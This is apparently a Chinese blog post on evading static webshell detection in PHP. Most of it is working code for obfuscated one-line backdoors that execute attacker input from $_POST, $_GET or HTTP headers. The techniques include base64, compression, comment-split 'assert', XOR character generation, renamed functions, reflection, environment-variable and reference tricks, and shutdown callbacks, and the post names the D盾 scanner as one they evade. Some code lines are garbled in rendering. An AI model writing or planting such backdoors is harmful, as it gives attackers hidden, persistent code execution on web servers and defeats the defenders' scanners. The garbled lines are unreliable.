webshell静态检测的绕过

一句话木马原理:
在这里插入图片描述基于_POST,[]等的检测

base64编码:
$b = base64_encode(_POST);
echo $b;
echo<br/>;
echo base64_decode($b);

gzcompress压缩:
$c = gzcompress('_POST');
echo $c;
echo '<br/>';
echo gzuncompress($c);

注释:
@${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

[]可用{}替换

异或,或,取反,大同小异就演示异或吧

在这里插入图片描述下面这是运算原理的代码,比较鸡肋,可以去看看yu师傅的文章
https://blog.csdn.net/miuzzx/article/details/109143413

<?php
$z = 'A';
for($m=1;$m<127;$m++){
    for($n=1;$n<127;$n++){
        $a = chr($m);
        $b = chr($n);
        $c = ($a^$b);
        if ($c === $z){
            if(preg_match('/[A-Za-z0-9]/',$a)) {
                continue;
            }elseif(preg_match('/[A-Za-z0-9]/',$b)){
                continue;
            }else{
            echo '("'.urlencode($a).'"^"'.urlencode($b).'")';
            echo '<br/>';
            }
    }
}
}
?>

自增

数组经过强行转化为字符串变为Array
取第一个字母A,然后运算,’A’++后会变成’B’,就可以获得所有字母然后通过字符串拼接的方式实现想要的代码
在这里插入图片描述

eval小坑

在PHP手册中提到eval:
因为是一个语言构造器而不是一个函数,不能被可变函数调用。
所以将eval赋给变量a的方式然后再 a ( ) ; 会 报 错 可 变 函 数 : 对 于 a();会报错 可变函数:对于 a();:a();形式PHP会查找与字符串a同名的函数并使用
在这里插入图片描述

assert

在PHP手册中对assert是这样说的:
assert() is a language construct in PHP 7
但是它却可以“作为”可变函数使用,但是会报错
在这里插入图片描述如果代码是
$a = ‘assert’;
a ( a( a(_POST[‘a’]);//a=system(‘whoami’);
这样就会报错,(除7.0版本),于是我翻了翻PHP手册是这样说的
In PHP 7, this may also be any expression that returns a value, which will be executed and the result used to indicate whether the assertion succeeded or failed.
大概意思就是任何返回值的表达式,该值将被执行
但是传参过去的是字符串就不能执行

webshell绕过

某些函数:

mb_ereg_replace 、 mb_eregi_replace
例如:
mb_eregi_replace(’.*’,$_GET[1],’’,‘e’);
ps:注意PHP版本

函数重命名

use function assert as test;

test($_POST[‘a’]);

反射ReflectionFunction类

ReflectionFunction类,看看PHP手册invokeArgs的方法解释
The passed arguments to the function as an array, much like call_user_func_array() works.
就是说m是函数,c是传入的参数,然后执行这个函数

在这里插入图片描述

文件名,类名,方法名

大同小异,就演示一个吧
截取文件名,最好是从最后开始吧,因为上传了你不知道路径,,,
限于上传文件系统未重命名的情况
在这里插入图片描述

基于污染传播

putenv($_GET[“c”]);eval(getenv(‘path’));
等等
putenv — 设置环境变量的值
getenv — 获得环境变量的值
在这里插入图片描述

引用传值

function aaa(&$var){
    $var = $_POST['a'];

}
$a = "";
aaa($a);
eval($a);

在这里插入图片描述

HTTP头

$a = $_GET[‘a’];
var_dump(getallheaders());
eval(getenv(‘HTTP_E’));
在这里插入图片描述

回调函数

回调函数祖师爷call_user_func();就不说了,D盾能测出来,就说说其他的

$a = $_REQUEST['a'];
register_shutdown_function($a,$_REQUEST['aaa']);

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值